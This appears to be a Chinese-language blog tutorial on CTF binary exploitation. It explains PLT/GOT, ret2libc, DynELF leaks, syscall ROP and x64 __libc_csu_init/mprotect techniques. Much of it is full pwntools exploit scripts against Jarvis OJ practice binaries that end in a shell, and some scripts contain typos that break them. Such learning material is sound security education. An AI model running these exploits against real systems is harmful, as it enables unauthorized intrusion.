pwn(三)

  • 简单的溢出利用方法
  • 程序没有开启任何保护
方法一:寻找程序中system的函数,再布局栈空间,最后成功调用system('/bin/sh')
方法二:将我们的shellcode写入bss段,然后用elf.bss()来获取bss段地址,从而程序流向到我们的shellcode
  • 这里不用具体程序分析了,把payload分别写上
方法一:payload = 'a' * offset + 4 * 'a' + p32(sys_addr) + p32(4) + p32(sh_addr)
方法二:payload = 'a' * offset + 4 * 'a' + p32(read_addr) + p32(elf.bss()) + p32(0) + p32(elf.bss()) + p32(len(shellcode))
  • 以下主要学习开启了各种保护的服务如何拿shell

NX保护

有libc的情况

  • 开启了NX保护之后,我们程序的bss段和栈段都不具有执行权限,只有读写权限
  • 这里分为两种情况,实际上现实场景只有一种情况,第一种给了你一个libc文件,第二种没有给你libc文件,如果没有libc文件的情况下,我们通常是通过pwntools的DlyELF模块去泄露出libc的版本,然后继续利用,我们这里先分析有libc文件的情况
  • 环境:kali 2018.3 i386,这个题目给了个可执行的32位ELF文件,然后给了个libc-2.19.so的动态库链接文件
  • 原理:我们要执行system(’/bin/sh’)这个函数程序,首先我们要找到system函数和’/bin/sh’这个字符串,然后构造pyload,那么我们的核心问题就是如何找到这个函数和字符串
payload = 'a' * (offset + 4) + system_addr + ret_add + sh_addr
  • 在运行这个程序的时候,动态库也会随着程序加载入内存,此时动态库中的system函数也会随之加载入内存,那么我们如何找到内存的system函数
  • 我们需要知道另外个东西,plt表和got表
plt表和got表 - 代码共享和动态库的关键
1.这个程序第一次使用write函数时,流程是,会先去call write_plt,此时call了以后,有三段代码会别执行,
2. 就是我们之前写的三段代码,程序会先跳到got表,然后压入一个got表的下标,
3.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址,.然后会跳转到plt[0],plt[0]会先跳转到动态连接器的入口,然后去找到这个函数地址
4.然后把这个函数地址复写到got表中,这样第二次调用write函数时,当程序直接跳转got表的时候,就直接执行了这个函数

1.举个比较通俗易懂的例子:我在一个程序里引用了一个外部变量(extern int a),此时程序在编译的时候,并不知道这个a的值,于是就用一个符号来表示这个a(符号:在编译完的程序中,并没有严格的函数或者变量的概念,都是用符号来表示)
GOT表的作用:表中的每一项都是用来保存程序中引用其他符号的绝对地址
2.在编译链接的时候,并没有在GOT表中直接写入地址,而是先用符号表示了这个地址,那么在什么时候地址才会写入GOT表呢,在这个函数第一次调用的时候,这个地址就会被写入,第二次调用的时候就直接调用了这个地址
3.PLT表是什么呢,PLT表相当于是程序和GOT表之间的一个快递员或者说中介,PLT通过引用GOT表中的函数的绝对地址,来把控制转移到实际的函数,而变量就不需要用到PLT表了,直接修改掉外部引用变量的符号就可以了

调用流程:在第一次调用函数时,它会调用默认存根,会加载标识符并调用动态链接器,然后把地址修补到GOT表中,然后下次调用PLT条目时,它就会加载函数的实际地址
  • 我们如何利用got表和plt表,也就是说我们只要知道plt表对应system的地址,我们就能找到system函数在内存中的地址了
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
  • 此外我们还需要知道一点,就是在库文件中的两个函数之间的偏移,和加载进内存之后的偏移是一致的,这样我们就可以通过找到write函数的在内存中的地址,然后计算库文件中write函数和system函数的地址,这样我们可以通过计算得到system函数在内存中的地址,同理我们可以得到/bin/sh字符串的内存地址,这样我们就可以调用system函数来返回一个shell了
 write_addr - system_addr = write_libc_addr - system_libc_addr
  • 通过上面的分析我们就可以直接来写payload了
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#io = remote('pwn.jarvisoj.com',9879)
# connect
io = process('./level4')
elf = ELF('libc-2.19.so')
pwn = ELF('level4')

# plt
plt_write = pwn.plt['write']
vun_addr = pwn.symbols['vulnerable_function']

# libc
libc_write = elf.symbols['write']
libc_sys = elf.symbols['system']
libc_sh = elf.search('/bin/sh').next()

# got
got_write = pwn.got['write']

# leak the address of got_write
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_write)
payload += p32(vun_addr)
payload += p32(1) + p32(got_write) + p32(4)

io.recvuntil('Input:\n')
io.send(payload)
write_addr = u32(io.recv(4))

# offset
system_addr = write_addr - (libc_write - libc_sys)
sh_addr = write_adadr - (libc_write - libc_sh)

# metasplit
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(system_addr)
payload += p32(4)
payload += p32(sh_addr)

io.send(payload)
io.interactive()
  • 这个程序也可以用来处理开启了地址随机化的pwn题,程序开启地址随机化,libc和stack和heap的地址随机化,但是程序的地址是不会随机化的

没有libc的情况

  • 在上面的情况中,我们可以利用libc加载入内存,来计算系统函数的内存地址,但是你远程分析的时候,你需要知道他的libc的版本号或者得到他的libc文件才能够去分析,这种时候我们需要用到memory leak去搜索内存得到system函数的地址
  • 我们需要用到pwntools的DynELF模块去做,题目和上面的一样,只是不提供libc.so了
    • DynElf模块,主要是要写一个leak函数去搜索内存,然后调用DynELF函数,然后用 d.lookup(‘system’,libc),就能够搜索到了system函数的地址
    • leak函数的一般格式,一般能够泄露地址的函数是write和puts,这里我们用write,因为程序也用了write,将数据写入bss段就可以了,这样就完成了system函数的调用了
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#io = process('./level4')
io = remote("pwn2.jarvisoj.com",9880)
e = ELF("./level4")

plt_write = e.plt['write']
plt_read = e.plt['read']
vun_addr = e.symbols['vulnerable_function']

def leak(address):
    payload = 0x88 * 'a' + 4 * 'a'
    payload += p32(plt_write)
    payload += p32(vun_addr)
    payload += p32(1) + p32(address) + p32(4)
    io.sendline(payload)
    data = io.recv(4)
    print("%#x => %#x"%(address,hex(data)))
    return data

d = DynELF(leak,elf = e)
sys_addr = d.lookup('system','libc')
print 'success'+hex(sys_addr)

# /bin/sh write to bss
payload = 0x88 * 'a' + 4 * 'a'
payload += p32(plt_read)
payload += p32(vun_addr)
payload += p32(0) + p32(e.bss()) + p32(8)

io.send(payload)
io.send('/bin/sh/\x00')

payload = 0x88 * 'a' + 4 * 'a'
payload += p32(sys_addr)
payload += p32(4)
payload += p32(e.bss())

io.send(payload)
io.interactive()

另外一个system函数的调用,syscall

  • 其实这也算是system函数调用里面的,只是这里如果不熟悉的人可能就不知道从哪里下手了
  • syscall函数:
       #define _GNU_SOURCE         /* See feature_test_macros(7) */
       #include <unistd.h>
       #include <sys/syscall.h>   /* For SYS_xxx definitions */

       long syscall(long number, ...);
  • 例如read函数也可以通过这种系统调用得到,syscall(3,0,address,8),前面是调用号,后面是调用号的参数,如果没有给NULL就可以了,例如,syscall(11,address,NULL,NULL)
  • 同理只要你知道了系统调用号就可以完成很多的系统调用了,我这里不想凑字数,所以只贴常用的,具体的可以通过查看cat /usr/include/asm/unistd.h,这个文件去了解详细的系统调用号
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_execve 11
......................
  • 具体例子的payload还是写一个吧,原不打算写了
  • 反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
 int v4; // [esp+5h] [ebp-33h]
 int v5; // [esp+9h] [ebp-2Fh]
 int v6; // [esp+Dh] [ebp-2Bh]
 int v7; // [esp+11h] [ebp-27h]
 int v8; // [esp+15h] [ebp-23h]
 int v9; // [esp+19h] [ebp-1Fh]
 int v10; // [esp+1Dh] [ebp-1Bh]
 int v11; // [esp+21h] [ebp-17h]
 int v12; // [esp+25h] [ebp-13h]
 int v13; // [esp+29h] [ebp-Fh]
 __int16 v14; // [esp+2Dh] [ebp-Bh]
 char v15; // [esp+2Fh] [ebp-9h]

 alarm(0x1Eu);
 v4 = 544104771;
 v5 = 544567161;
 v6 = 1986817907;
 v7 = 1752440933;
 v8 = 171930473;
 v9 = 1702259015;
 v10 = 543517984;
 v11 = 1920298873;
 v12 = 1886351904;
 v13 = 1767991395;
 v14 = 14958;
 v15 = 0;
 syscall(4, 1, &v4, 42);
 overflow();
 return 0;
}

int overflow()
{
 char v1; // [esp+Ch] [ebp-Ch]

 syscall(3, 0, &v1, 1024);
 return syscall(4, 1, &v1, 1024);
}
  • 系统调用号3是read,系统调用号4是write,很明显的栈溢出漏洞
  • 构造两次payload,一次写入/bin/sh,一次调用execve(’/bin/sh’)就完成了,分了两次发payload,你也找ropgradt去一次就能发送完,pop出栈上的数据就行了,这里用了syscall的11号调用
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

io = process('./rop2')
elf = ELF('rop2')

# syscall
plt_syscall = elf.plt['syscall']
over_flow = elf.symbols['overflow']

# shellcode
shellcode = '/bin/sh'

# payload first
payload = 'a' * 0x10
payload += p32(plt_syscall)
payload += p32(over_flow)
payload += p32(0x3)
payload += p32(0)
payload += p32(elf.bss())
payload += p32(0x8)

io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)

payload = 'a' * 0x10
payload += p32(plt_syscall)
payload += p32(4)
payload += p32(0xb)
payload += p32(elf.bss())
payload += p32(0)
payload += p32(0)

io.send(payload)
io.interactive()

64位程序以上pwn类型题解法

  • 一道简单的64位程序,不能用system函数,但是给了libc.so的文件,需要用mprotect去改变某一段内存地址的执行属性
  • 想到的第一反应就是用mprotect去改变bss段的内存读写属性,改为可以可执行,
  • 那么思路就是:首先泄露出write函数地址,找到mprotect函数调用地址,写入一段shellcode到bss段,调用mprotect函数,执行shellcode
  • 在64位程序中,函数调用的参数不是仅仅通过压栈来实现的,而是先是通过六个寄存器(rdi,rsi,rdx,rcx,r8,r9),如果还有参数就压入栈中调用,这样我们在调用一个函数之前就必须要找到pop rdi,pop rsi,ret这样的指令去把我们的参数提前压入寄存器才能够调用,这样的指令可以用ROPgadget找到
 ⚡ root@kncc  /work/ctf/pwn-jarvisoj/level_5  ROPgadget --binary level5 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11
  • 在这个程序中,还有一个问题在于,找不到合适的ropgadget去实现我们的write和mprotect调用,这时候我们需要了解另外个东西__libc_csu_init
  • 我们利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,我们也在这个程序的反汇编中看到了
_init_proc
sub_4004A0
_write
_read
___libc_start_main
___gmon_start__
_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
vulnerable_function
main
__libc_csu_init
__libc_csu_fini
_term_proc
write
read
__libc_start_main
  • 我们然后去具体看一下__libc_csu_init的反汇编程序
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
  • 其实主要是loc_4006A6和loc_400690这两个地方,因为这里有ropgadget去让我们使用,然后还顺带能够调用函数,这里我们介绍一下出现在loc_4006A6这个地址的这几个寄存器是干嘛用的,对应__libc_cus_init函数的哪几个参数
  • rbx和rbp,这两个参数是用来控制loc_400690,最后是否跳转的,所以这里我们需要特殊布置一下,我们需要让两个参数相等,这样就不会继续执行loc_400690,从而继续我们在栈上的布置,转向我们希望执行的地方,所以rbx = 0,rbp = 1
  • 然后我们可以在loc_400690看到r13复制给rdx,r14赋值给rsi,r15赋值给edi,这里有个需要注意的地方,64位程序用到的参数寄存器应该是rdi,这里赋值给了edi,是因为edi是rdi的低32位,所以实际上也赋值给了rdi,后面是直接call r12的,所以我们r12应该用got的地址,而不是plt的地址,原因很简单,plt只是call got的形式,所以这里是直接call got就行了
  • 我们总结一下:
* rbx = 0,rbp = 1;是为了控制跳转
* r12是我们需要调用的函数地址
* r13是rdx,也就是第三个参数
* r14是rsi,也就是第二个参数
* r15是rdi,也就是第一个参数
  • 这里也很符合从右往左压参的形式
  • 现在我们写payload,思路:
1.泄露出wirte的地址
2.调用mprotect函数
3.写入shellcode到bss段并调用shellcode
  • 这里我自己用通用Ropgadget出了点问题,我们就好好分析一下m4x师傅的payload,学习,有个flat函数不是很能理解,因为我自己测试的时候,好像不能把数据也能好好加进去,希望大佬评论解答,原来这里是准备写通用Ropgadget,但是出了点问题,哈哈,前面分析就写留着,在下篇在好好补上
⚡ root@kncc  /work/ctf/pwn-jarvisoj/level_5  python
Python 2.7.15+ (default, Aug 31 2018, 11:56:52)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> leak = flat("0x10101010",0x101010,1,2,"")
>>> print leak
0x10101010
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
context.binary = './level5'
elf = context.binary
io = process('./level5')
libc = ELF('libc-2.19.so')

if __name__ == '__main__'
		    '''
		    先找Ropgadget,看看有什么好用的Ropgadget没有
		    0x00000000004006b3 : pop rdi ; ret
		    0x00000000004006b1 : pop rsi ; pop r15 ; ret
		    其他通用的我们就不看,程序一般的rdx都会大于6,前面我们也分析过了,所以在泄露函数地址的时候
		    没有rdx的Ropgadget也是可以的,有libc的时候,我们可以去看一下,libc里面的Ropgadget
		    但是这里的地址不是加载进内存的地址,而是一个相对偏移而已,所以我们需要找到libc文件加载进
		    内存地址的基址,才能使用下面的Ropgadget,所以我们还是要先泄露出write函数或者puts函数的地址
		    0x0000000000022b9a : pop rdi ; ret
		    0x0000000000001b8e : pop rdx ; ret
		    0x0000000000024885 : pop rsi ; ret
		    ps: 从m4x师傅那里也学到很多命名的方法,真的是很好用
		    这里我们只需要用到第一个和第二个参数就可以了,用rdi和rsi,虽然这里的rsi的Ropgadget不是那么
		    “干净”,但是无所谓,我们达到给rsi这一个寄存器赋值就可以了
			'''
prdi = 0x00000000004006b3
pprsi = 0x00000000004006b1
		    '''
		    这里我们还是用M4x师傅的flat的吧,实在是太好用了 (#^.^#)
		    这里有cyclic这个函数,我们去查看了pwntools的源代码,发现这就是个随机生成的函数,贴在下面
		    这个函数在/pwntools-version/pwnlib/util/cyclic.py
		    def cyclic(length = None, alphabet = None, n = None):
		    Arguments:
		        length: The desired length of the list or None if the entire sequence is desired.
		        alphabet: List or string to generate the sequence over.
		        n(int): The length of subsequences that should be unique.
		    还有sendafter,名字就代表了含义,在pwntools的源代码里面是recvuntil,然后接send,
		    还有很多类似的函数以后再用
		    def sendafter(self, delim, data, timeout = default):
		        """sendafter(delim, data, timeout = default) -> str

		        A combination of ``recvuntil(delim, timeout)`` and ``send(data)``.
		        """

		        res = self.recvuntil(delim, timeout)
		        self.send(data)
		        return res
		    '''
leak = flat(cyclic(0x80 + 8),prdi,1,prsi,elf.got['write'],0,elf.got['write'],elf.sym['_start'])
io.sendafter('Input:\n',leak)
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8,"\x0")) - libc.sym['write']
    		'''
		    这里到\x7f就截断是因为一般程序内存地址都是以7f开头的,所以我们判断是否收到了地址数据,都是发送的数据
		    是否收到了\7f,而由于我们未对rdx作出设置是因为,经过几次测试,返回的数据字节都大于6,已经满足我们能够
		    接受到正确的数据,而只接受六个字节的数据的原因是,一般程序表示内存地址,用到六位就已经完全足够了,用不
		    到八位那么长的地址,所以六位就完全足够程序去使用,而u64位函数必须接受八个字节的数据,所以要补全字节到
		    八位,一般常用的方法是 u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")),这里m4师傅的payload这样
		    写也是同一个道理
		    m4x师傅的代码看起来真的是很舒服,哈哈,学习了
    		'''
success("libc -> {:#x}".format(libc.address))
pause()
		    '''
		    其实我觉得在整个程序的编写,很重要的一部分是对数据的处理,发送与接受,sendline与不发sendline
		    recvuntil与recv等等,都是有坑的地方,现在我还不好分辨各个的好处,写的代码和分析的程序都太少了
		    这里的坑以后填上
		    m4x师傅的好习惯:计算libc加载进内存的基址,这样算函数基址的时候程序不会很乱
		    '''
    # libc里面的Ropgadgget
prsi = libc.address + 0x0000000000024885
prdx = libc.address + 0x0000000000001b8e

		    '''
		    sym:/pwntools-version/elf/elf.py line:492
		        def sym(self):
		            """:class:`dotdict`: Alias for :attr:`.ELF.symbols`"""
		            return self.symbols
		    这里还有个地方,libc是个类,然后带了很多属性,address是它的基址属性,所以在后面用sym的时候
		    就不用加上基址了,下面填上定义
		        def __init__(self, name, address, size, elf=None):
		            #: Name of the function
		            self.name = name

		            #: Address of the function in the encapsulating ELF
		            self.address = address

		            #: Size of the function, in bytes
		            self.size = size

		            #: Encapsulating ELF object
		            self.elf = elf
		    更新类中基址的地方:
		        def address(self, new):
		            delta     = new-self._address
		            update    = lambda x: x+delta

		            self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
		            self.plt     = dotdict({k:update(v) for k,v in self.plt.items()})
		            self.got     = dotdict({k:update(v) for k,v in self.got.items()})

		            # Update our view of memory
		            memory = intervaltree.IntervalTree()

		            for begin, end, data in self.memory:
		                memory.addi(update(begin),
		                            update(end),
		                            data)

		            self.memory = memory

		            self._address = update(self.address)
		    突然对源码有了很大的兴趣,有机会要好好熟悉一下,不禁对m4x师傅又多了份敬佩之心
		    '''
    # call mprotect
mprotect = flat(cyclic(0x80 + 8),prdi,0x600000,prsi,0x100,prdx,7,libc.sym['mprotect'],elf.sym['_start'])
io.sendafter('Input:\n',mprotect)
pause()

read = flat(cyclic(0x80 + 8),prdi,0,prsi,elf.bss()+500,prdx,0x100,elf.got['read'],elf.bss()+500)
io.sendafter('Input:\n',read)
io.send(asm(shellcraft.sh()))

io.interactive()
    '''
    对这里pause很好奇,还不是很理解
    '''

上面都是些比较简单的rop,主要是分析程序找好漏洞,的确对刚写漏洞利用脚本的新手不是很友好哈,下次会写点ctf-wiki自己的学习体验,也会用到点更底层的rop技巧

10-04 13:30